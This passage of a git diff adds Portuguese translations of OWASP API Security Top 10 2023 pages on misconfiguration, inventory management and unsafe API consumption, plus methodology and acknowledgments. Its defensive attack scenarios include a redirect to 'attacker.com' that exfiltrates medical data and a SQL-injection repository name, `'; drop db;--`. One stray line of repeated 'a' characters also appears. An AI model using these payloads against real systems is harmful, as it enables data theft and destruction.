_downstream_/_upstream_, ocorram através de um canal de + comunicação encriptado (TLS), independentemente de se tratar de uma API + interna ou pública. +* Seja específico sobre quais verbos HTTP cada API pode utilizar: todos os + outros verbos HTTP devem ser desativados (por exemplo, HEAD). +* As APIs que esperam ser acedidas a partir de clientes baseados em navegador + (por exemplo, aplicação web _front-end_) devem, pelo menos: + * implementar uma política adequada de Partilha de Recursos entre Origens + (CORS). + * incluir os Cabeçalhos de Segurança aplicáveis. +* Restrinja os tipos de conteúdo/formatos de dados recebidos àqueles que cumprem + os requisitos funcionais/de negócio. +* Assegure que todos os servidores na cadeia de servidores HTTP (por exemplo, + balanceadores de carga, proxies reversos e diretos, e servidores de + _back-end_) processem os pedidos de entrada de forma uniforme para evitar + problemas de dessincronização. +* Quando aplicável, defina e faça cumprir todos os esquemas de dados de resposta + da API, incluindo respostas de erro, para evitar que informações de exceções e + outras informações valiosas sejam enviadas para os atacantes. + +## Referências + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Externas + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/pt-pt/0xa9-improper-inventory-management.md b/editions/2023/pt-pt/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..bad6bdece --- /dev/null +++ b/editions/2023/pt-pt/0xa9-improper-inventory-management.md @@ -0,0 +1,114 @@ +# API9:2023 Improper Inventory Management + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio | +| Os agentes ameaça geralmente obtêm acesso não autorizado através de versões antigas de APIs ou _endpoints_ que permanecem em execução sem atualizações e que utilizam requisitos de segurança mais fracos. Em alguns casos, os _exploits_ estão disponíveis online. Alternativamente, podem obter acesso a dados sensíveis através de um terceiro com quem não há razão para compartilhar dados. | Documentação desatualizada torna mais difícil encontrar e/ou corrigir vulnerabilidades. A falta de inventário de recursos e estratégias de desativação leva à execução de sistemas sem atualizações, resultando em vazamentos de dados sensíveis. É comum encontrar hosts de API desnecessariamente expostos devido a conceitos modernos como microserviços, que tornam as aplicações fáceis de implantar e independentes (por exemplo, computação em nuvem, K8S). Um simples Google Dorking, enumeração de DNS ou o uso de motores de busca especializados para vários tipos de servidores (webcams, routers, servidores, etc.) conectados à internet será suficiente para descobrir alvos. | Os atacantes podem obter acesso a dados sensíveis ou até mesmo tomar o controlo do servidor. Às vezes, diferentes versões/implementações da API estão conectadas à mesma base de dados com dados reais. Agentes ameaça podem explorar _endpoints_ obsoletos disponíveis em versões antigas da API para obter acesso a funções administrativas ou explorar vulnerabilidades conhecidas. | + +## A API é vulnerável? + +A natureza dispersa e conectada das APIs e das aplicações modernas traz novos +desafios. É importante que as organizações não só tenham uma boa compreensão e +visibilidade das suas próprias APIs e _endpoints_, mas também de como as APIs +estão a armazenar ou a partilhar dados com terceiros. + +Executar múltiplas versões de uma API requer recursos de gestão adicionais do +fornecedor da API e expande a superfície de ataque. + +Uma API tem um "ponto cego de documentação" se: + +* O propósito de um _host_ da API é pouco claro e não há respostas explícitas + para as seguintes perguntas: + * Em que ambiente está a API a ser executada (por exemplo, produção, + _staging_, teste, desenvolvimento)? + * Quem deve ter acesso à rede da API (por exemplo, público, interno, + parceiros)? + * Qual versão da API está em execução? +* Não existe documentação ou a documentação existente não está atualizada. +* Não existe um plano de desativação para cada versão da API. +* O inventário do _host_ está em falta ou desatualizado. + +A visibilidade e o inventário dos fluxos de dados sensíveis desempenham um papel +importante como parte de um plano de resposta a incidentes, caso ocorra uma +violação do lado de terceiros. + +Uma API tem um "ponto cego de fluxo de dados" se: + +* Existe um "fluxo de dados sensíveis" onde a API compartilha dados sensíveis + com um terceiro e + * Não existe uma justificação de negócio ou aprovação do fluxo + * Não existe inventário ou visibilidade do fluxo + * Não há visibilidade detalhada sobre o tipo de dados sensíveis partilhados + + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social implementou um mecanismo de limitação de frequência de pedidos +que previne que atacantes possam usar força bruta para adivinhar _tokens_ de +redefinição de _password_. Este mecanismo não foi implementado como parte do +código da própria API, mas num componente separado entre o cliente e a API +oficial (`api.socialnetwork.owasp.org`). Um investigador encontrou um _host_ da +API beta (`beta.api.socialnetwork.owasp.org`) que executa a mesma API, incluindo +o mecanismo de redefinição de _password_, mas sem o mecanismo de limitação de +frequência de pedidos. O investigador conseguiu redefinir a _password_ de +qualquer utilizador usando força bruta simples para adivinhar o _token_ de 6 +dígitos. + +### Cenário #2 + +Uma rede social permite que desenvolvedores de aplicações independentes se +integrem com ela. Como parte desse processo, é solicitado o consentimento do +utilizador final para que a rede social possa partilhar as informações pessoais +do utilizador com a aplicação independente. + +O fluxo de dados entre a rede social e as aplicações independentes não é +suficientemente restritivo ou monitorizado, permitindo que as aplicações acedam +não apenas às informações do utilizador, mas também às informações privadas de +todos os seus amigos. + +Uma empresa de consultoria cria uma aplicação maliciosa e consegue obter o +consentimento de 270 mil utilizadores. Devido a essa falha, a empresa de +consultoria consegue aceder às informações privadas de 50 milhões de +utilizadores. Mais tarde, a empresa de consultoria vende as informações para +fins maliciosos. + +## Como Prevenir + +* Inventarie todos os _hosts_ da API e documentar os aspectos + importantes de cada um deles, focando no ambiente da API (por exemplo, + produção, _staging_, teste, desenvolvimento), quem deve ter acesso à rede do + _host_ (por exemplo, público, interno, parceiros) e a versão da API. +* Inventarie os serviços integrados e documentar aspectos + importantes, como o seu papel no sistema, quais dados são trocados (fluxo de + dados) e a sua sensibilidade. +* Documente todos os aspectos da sua API, como autenticação, erros, + redirecionamentos, limitação de frequência de pedidos, política de partilha de + recursos entre origens (CORS) e _endpoints_, incluindo os seus parâmetros, + pedidos e respostas. +* Crie documentação automaticamente adotando padrões abertos. Inclua a + construção da documentação no seu _pipeline_ de CI/CD. +* Disponibilize a documentação da API apenas para aqueles autorizados a utilizar + a API. +* Utilize medidas de proteção externas, como soluções específicas de segurança + de API, para todas as versões expostas das suas APIs, não apenas para a versão + de produção atual. +aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +* Evite utilizar dados de produção em implementações de API que não são + produção. Se isso for inevitável, esses _endpoints_ devem receber o mesmo + tratamento de segurança que os de produção. +* Quando versões mais recentes das APIs incluem melhorias de segurança, realize + uma análise de risco para informar as ações de mitigação necessárias para as + versões mais antigas. Por exemplo, se é possível aplicar as melhorias nessas + versões mais antigas sem quebrar a compatibilidade da API ou se é necessário + remover rapidamente a versão mais antiga e forçar todos os clientes a migrar + para a versão mais recente. + +## Referências + +### Externas + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md b/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..3081d4048 --- /dev/null +++ b/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,111 @@ +# API10:2023 Unsafe Consumption of APIs + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Moderado** | Técnico **Severo** : Específico Negócio | +| Explorar este problema requer que os atacantes identifiquem e potencialmente comprometam outras APIs/serviços com os quais a API alvo está integrada. Normalmente, esta informação não está disponível publicamente ou a API/serviço integrado não é facilmente explorável. | Os desenvolvedores tendem a confiar e não a verificar os _endpoints_ que interagem com APIs externas ou de terceiros, dependendo de requisitos de segurança mais fracos, como aqueles relacionados à segurança do transporte, autenticação/autorização e validação e sanitização de dados. Os atacantes precisam identificar os serviços com os quais a API alvo se integra (fontes de dados) e, eventualmente, comprometer esses serviços. | O impacto varia de acordo com o que a API alvo faz com os dados extraídos. A exploração bem sucedida pode levar à exposição de informações sensíveis a atores não autorizados, a vários tipos de injeções ou à negação de serviço. | + +## A API é vulnerável? + +Os desenvolvedores tendem a confiar mais nos dados recebidos de APIs de +terceiros do que nos dados fornecidos por utilizadores. Isso é especialmente +verdade para APIs oferecidas por empresas bem conhecidas. Por essa razão, os +desenvolvedores tendem a adotar padrões de segurança mais fracos, especialmente +no que diz respeito à validação e sanitização de dados. + +A API pode estar vulnerável se: + +* Interage com outras APIs através de um canal não encriptado; +* Não valida e sanitiza corretamente os dados recolhidos de outras APIs antes de + os processar ou de os passar para componentes posteriores; +* Segue redirecionamentos cegamente; +* Não limita o número de recursos disponíveis para processar respostas de + serviços de terceiros; +* Não implementa limites de tempo para interações com serviços de terceiros; + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma API depende de um serviço de terceiros para enriquecer os endereços +comerciais fornecidos pelos utilizadores. Quando um endereço é fornecido pelo +utilizador final à API, ele é enviado para o serviço de terceiros e os dados +retornados são então armazenados numa base de dados local compatível com SQL. + +Atacantes utilizam o serviço de terceiros para armazenar um conteúdo malicioso +de injeção SQL (SQLi) associado a um negócio criado por eles. Em seguida, visam +a API vulnerável fornecendo um conteúdo específico que faz com que esta obtenha +o "negócio malicioso" do serviço de terceiros. O conteúdo de SQLi acaba por ser +executado pela base de dados, exfiltrando dados para um servidor controlado pelo +atacante. + +### Cenário #2 + +Uma API integra-se com um fornecedor de serviços de terceiros para armazenar com +segurança informações médicas sensíveis dos utilizadores. Os dados são enviados +através de uma conexão segura usando um pedido HTTP como o abaixo: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Atacantes encontraram uma forma de comprometer a API de terceiros, que começa a +responder com um `308 Permanent Redirect` a pedidos como o anterior. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Como a API segue cegamente os redirecionamentos do terceiro, ela repetirá +exatamente o mesmo pedido, incluindo os dados sensíveis do utilizador, mas desta +vez para o servidor do atacante. + +### Cenário #3 + +Um atacante pode preparar um repositório git chamado `'; drop db;--`. + +Agora, quando uma integração de uma aplicação atacada é feita com o repositório +malicioso, uma carga de injeção SQL é utilizada numa aplicação que constrói uma +consulta SQL, acreditando que o nome do repositório é um conteúdo seguro. + +## Como Prevenir + +* Ao avaliar fornecedores de serviços, analise a postura de segurança das suas + APIs. +* Garanta que todas as interações com APIs ocorram através de um canal de + comunicação seguro (TLS). +* Valide e sanitize sempre os dados recebidos de APIs integradas antes de os + utilizar. +* Mantenha uma lista de permissões de locais conhecidos para os quais as APIs + integradas podem redirecionar a sua: não siga redirecionamentos cegamente. + +## Referências + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### Externas + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/pt-pt/0xb0-next-devs.md b/editions/2023/pt-pt/0xb0-next-devs.md new file mode 100644 index 000000000..76c38f98c --- /dev/null +++ b/editions/2023/pt-pt/0xb0-next-devs.md @@ -0,0 +1,38 @@ +# O Que Se Segue Para Programadores + +A tarefa de criar e manter aplicações seguras, ou corrigir aplicações +existentes, pode ser difícil. Não é diferente para as APIs. + +Acreditamos que educação e consciencialização são fatores chave para o +desenvolvimento de software seguro. Tudo o mais necessário para alcançar este +objetivo depende da **definição e utilização de processos de segurança +reprodutíveis e do uso de controlos de segurança _standard_**. + +A OWASP disponibiliza uma grande quantidade de recursos gratuitos e abertos para +abordar a segurança. Por favor visite a [página dos projetos OWASP][1] para +consulta da lista dos projetos existentes. + +| | | +|-|-| +| **Educação** | O [Application Security Wayfinder][2] deve oferecer uma boa ideia sobre quais projetos estão disponíveis para cada etapa/fase do Ciclo de Vida do Desenvolvimento de Software (SDLC). Para aprendizagem prática/treino, pode começar com [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] ou [OWASP Juice Shop][4]: ambos possuem APIs intencionalmente vulneráveis. O [OWASP Vulnerable Web Applications Directory Project][5] fornece uma lista curada de aplicações intencionalmente vulneráveis: lá encontrará várias outras APIs vulneráveis. Também pode participar em sessões de treino da [OWASP AppSec Conference][6] ou [juntar-se ao seu chapter local][7]. | +| **Requisitos de Segurança** | A segurança deve fazer parte de qualquer projeto desde o início. É importante que, durante a fase de identificação de requisitos, seja definido o que é que “seguro” significa no contexto desse projeto. A OWASP recomenda a utilização do [OWASP Application Security Verification Standard (ASVS)][8] como guia para definir os requisitos de segurança. Se estiver a subcontratar, considere ao invés a utilização do [OWASP Secure Software Contract Annex][9], o qual deverá adaptar às leis e regulamentações locais. | +| **Arquitetura de Segurança** | A segurança deve ser uma preocupação durante todas as fases dum projeto. O projeto [OWASP Prevention Cheat Sheets][10] é um bom ponto inicial de orientação sobre como contemplar a segurança durante a fase de arquitetura. Entre outros, o [REST Security Cheat Sheet][11] e o [REST Assessment Cheat Sheet][12] serão seguramente relevantes, como também o [GraphQL Cheat Sheet][13]. | +| **Controlos Standard de Segurança** | A adoção de controlos standard de segurança reduzem o risco de introdução de falhas de segurança durante a implementação da lógica de negócio. Apesar de muitas _frameworks_ modernas já incluírem controlos standard, o projeto [OWASP Proactive Controls][14] dá-lhe uma boa visão sobre que controlos de segurança deve incluir no seu projeto. A OWASP também disponibiliza algumas bibliotecas e ferramentas que pode achar úteis, tais como controlos de validação. | +| **Ciclo de Desenvolvimento de Software Seguro** | Pode usar o [OWASP Software Assurance Maturity Model (SAMM)][15] para melhorar o processo de desenvolvimento de APIs. Tem ainda disponíveis vários outros projetos OWASP para o ajudar durante as várias fases de desenvolvimento de APIs, por exemplo o [OWASP Code Review Guide][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/pt-pt/0xb1-next-devsecops.md b/editions/2023/pt-pt/0xb1-next-devsecops.md new file mode 100644 index 000000000..44b5284cb --- /dev/null +++ b/editions/2023/pt-pt/0xb1-next-devsecops.md @@ -0,0 +1,30 @@ +# O Que Se Segue Para DevSecOps + +Dada a sua importância na arquitetura das aplicações modernas, desenvolver APIs +seguras é crucial. A segurança não pode ser negligenciada e deve estar presente +durante todo o clico de vida do desenvolvimento. Já não basta a execução de +_scanners_ ou a realização de testes de penetração anualmente. + +A equipa de DevSecOps deve fazer parte do esforço de desenvolvimento +contribuindo para a realização de testes de segurança, de forma continuada, +durante todo o ciclo de vida do desenvolvimento. Deve ter como objetivo melhorar +a _pipeline_ de desenvolvimento com automação de segurança e sem influenciar +negativamente o ritmo do desenvolvimento. + +Em caso de dúvida mantenha-se informado e reveja o [Manifesto DevSecOps][1]. + +| | | +|-|-| +| **Compreenda o Modelo de Ameaças** | As prioridades relativamente ao que deve ser testado têm origem no modelo de ameaças. Se não tem um, considere usar o [OWASP Application Security Verification Standard (ASVS)][2] e o [OWASP Testing Guide][3] como base. Envolver a equipa de desenvolvimento na elaboração do modelo de ameaças pode torná-la mais consciente para questões relacionadas com segurança. | +| **Compreenda o Ciclo de Vida do Desenvolvimento do Software** | Reúna a equipa de desenvolvimento para melhor compreender o ciclo de vida do desenvolvimento do software. O seu contributo para a realização continua de testes de segurança deve ser compatível com as pessoas, processos e ferramentas. Todos devem concordar com o processo, de forma a não provocar atrito ou resistência desnecessários. | +| **Estratégias de Teste** | Sendo que o seu trabalho não deve condicionar o ritmo de desenvolvimento, deverá escolher cuidadosamente a melhor (mais simples, rápida e precisa) técnica para verificar os requisitos de segurança. A [OWASP Security Knowledge Framework][4] e o [OWASP Application Security Verification Standard][2] podem ser importantes fontes de requisitos de segurança funcionais e não-funcionais. Existem outras fontes relevantes onde poderá encontrar [projetos][5] e [ferramentas][6] como aquelas disponibilizadas pela [comunidade DevSecOps][7]. | +| **Procure Alcançar Cobertura e Precisão** | Você é a ponte entre as equipas de desenvolvimento e operações. Para alcançar cobertura, deve não só focar-se na funcionalidade, mas também na orquestração. Trabalhe junto de ambas as equipas desde o início por forma a otimizar o seu tempo e esforço. Deve almejar um estado em que o essencial da segurança é verificado de forma continua. | +| **Comunique as Falhas de Forma Clara** | Entregue valor evitando qualquer atrito. Comunique as falhas identificadas atempadamente, usando as ferramentas que a equipa de desenvolvimento já utiliza (e não através de ficheiros PDF). Junte-se à equipa de desenvolvimento para resolver as falhas identificadas. Aproveite a oportunidade para educar os elementos da equipa de desenvolvimento, descrevendo de forma clara a falha e como esta pode ser abusada, incluindo um cenário de ataque para a tornar mais real. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/pt-pt/0xd0-about-data.md b/editions/2023/pt-pt/0xd0-about-data.md new file mode 100644 index 000000000..90919b3a8 --- /dev/null +++ b/editions/2023/pt-pt/0xd0-about-data.md @@ -0,0 +1,75 @@ +# Metodologia e Dados + +## Preâmbulo + +Para esta atualização da lista, a equipa de Segurança de API da OWASP utilizou a +mesma metodologia adotada com sucesso para a lista de 2019, com a adição de um +[Pedido Público por Dados][1] de 3 meses. Infelizmente, este pedido não resultou +em dados que permitissem uma análise estatística relevante sobre os problemas de +segurança de API mais comuns. + +Contudo, com uma indústria de segurança de API mais madura e capaz de fornecer +feedback e informações diretamente, o processo de atualização avançou usando a +mesma metodologia de antes. + +Chegados a este ponto, acreditamos ter um bom documento de consciencialização +para os próximos três ou quatro anos, mais focado nas questões específicas das +APIs modernas. O objetivo deste projeto não é substituir outras listas de top +10, mas sim cobrir os principais riscos de segurança de API atuais e emergentes, +sobre os quais acreditamos que a indústria deve estar atenta e ser diligente. + +## Metodologia + +Na primeira fase, dados publicamente disponíveis sobre incidentes de segurança +em APIs foram recolhidos, revistos e categorizados. Esses dados foram obtidos de +plataformas de _bug bounty_ e relatórios públicos. Apenas problemas reportados +entre 2019 e 2022 foram considerados. Esses dados ajudaram a equipa a entender +em que direção a lista de top 10 anterior deveria evoluir, assim como a lidar +com possíveis vieses dos dados contribuídos. + +Um [Pedido Público por Dados][1] foi realizado de 1 de Setembro a 30 de Novembro +de 2022. Em paralelo, a equipa do projeto iniciou a discussão sobre o que mudou +desde 2019. A discussão incluiu o impacto da primeira lista, o feedback recebido +da comunidade e novas tendências na segurança de APIs. + +A equipa do projeto promoveu reuniões com especialistas sobre ameaças relevantes +à segurança de APIs para obter informações sobre como as vítimas são impactadas +e como essas ameaças podem ser mitigadas. + +Este esforço resultou num rascunho inicial do que a equipa acredita serem os dez +riscos mais críticos de segurança para APIs. A [Metodologia de Classificação de +Risco da OWASP][2] foi utilizada para realizar a análise de riscos. As +classificações de prevalência foram decididas por consenso entre os membros da +equipa do projeto, com base na sua experiência na área. Para considerações sobre +esses temas, consulte a secção [Riscos de Segurança em APIs][3]. + +O rascunho inicial foi então compartilhado para revisão com profissionais de +segurança com experiência relevante na área de segurança de APIs. Os seus +comentários foram analisados, discutidos e, quando aplicável, incluídos no +documento. O documento resultante foi [publicado como uma Versão Candidata][4] +para [discussão aberta][5]. Várias [contribuições da comunidade][6] foram +incorporadas no documento final. + +A lista de contribuidores está disponível na secção de [Agradecimentos][7]. + +## Riscos Específicos de APIs + +A lista foi elaborada para abordar riscos de segurança que são mais específicos +para APIs. + +Não implica que outros riscos genéricos de segurança de aplicações não existam +em aplicações baseadas em APIs. Por exemplo, não incluímos riscos como +"Componentes Vulneráveis e Desatualizados" ou "Injeção", embora você possa +encontrá-los em aplicações baseadas em APIs. Esses riscos são genéricos, não se +comportam de forma diferente em APIs, nem a sua exploração é diferente. + +O nosso objetivo é aumentar a conscientização sobre os riscos de segurança que +merecem atenção especial em APIs. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0xd1-acknowledgments.md b/editions/2023/pt-pt/0xd1-acknowledgments.md new file mode 100644 index 000000000..3ca938307 --- /dev/null +++ b/editions/2023/pt-pt/0xd1-acknowledgments.md @@ -0,0 +1,13 @@ +# Agradecimentos + +## Agradecimento ao Contribuidores + +Gostaríamos de agradecer às pessoas abaixo, as quais contribuíram publicamente +no GitHub ou por outros meios: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/pt-pt/images/cover.jpg b/editions/2023/pt-pt/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/pt-pt/images/cover.jpg differ diff --git a/editions/2023/pt-pt/images/front-cc.png b/editions/2023/pt-pt/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/pt-pt/images/front-cc.png differ diff --git a/editions/2023/pt-pt/images/front-wasp.png b/editions/2023/pt-pt/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/pt-pt/images/front-wasp.png differ diff --git a/editions/2023/pt-pt/images/license.png b/editions/2023/pt-pt/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/pt-pt/images/license.png differ diff --git a/editions/2023/pt-pt/images/owasp-logo.png b/editions/2023/pt-pt/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/pt-pt/images/owasp-logo.png differ